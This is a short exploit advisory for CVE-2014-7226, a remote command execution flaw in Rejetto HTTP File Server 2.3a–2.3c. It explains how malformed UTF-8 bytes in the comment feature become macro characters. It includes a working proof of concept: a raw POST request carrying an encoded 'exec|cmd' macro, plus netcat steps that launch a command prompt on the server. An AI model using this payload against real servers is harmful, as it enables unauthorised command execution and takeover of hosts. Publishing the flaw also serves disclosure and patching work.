========================================================== HTTP File Server 2.3a - 2.3b - 2.3c Remote Command Execution # Author : Daniele Linguaglossa # Date: 30/09/2014 # Remote: Yes # Vendor Homepage: http://rejetto.com/ # Software Link: http://downloads.sourceforge.net/hfs/hfs2.3c.src.zip # CVE: CVE-2014-7226 # Vendor Hompage: http://www.rejetto.com # Tested on: Windows 8 # Version: 2.3a - 2.3b - 2.3c The latest HTTP File Server (2.3c and maybe prior too) was found to be vulnerable to a remote command execution in the file comment features , because the application did not properly validate uft-8 broken byte representation, in fact during parsing program won't notice that there are multiple invalid representation and when they are printed into the page will get replaced with one of these characters " { . | } " causing a macro to be executed. ========================================================== PoC ========================================================== bug-utf8.txt ========================================================== POST /upload/?mode=section&id=ajax.comment HTTP/1.1 Connection: Close Content-Type:application/x-www-form-urlencoded text=%c1%bb%c0%aeexec%c1%bccmd%c0%ae%c1%bd&files=x ========================================================== Copy the following on a file called bug-utf8.txt , then open hfs and add a folder called upload, it will ask if anyone should have upload permission click yes then with netcat do the following: nc localhost 8080 < bug-utf8.txt if everything was fine you should see a new command prompt being executed from hfs. ========================================================== EOF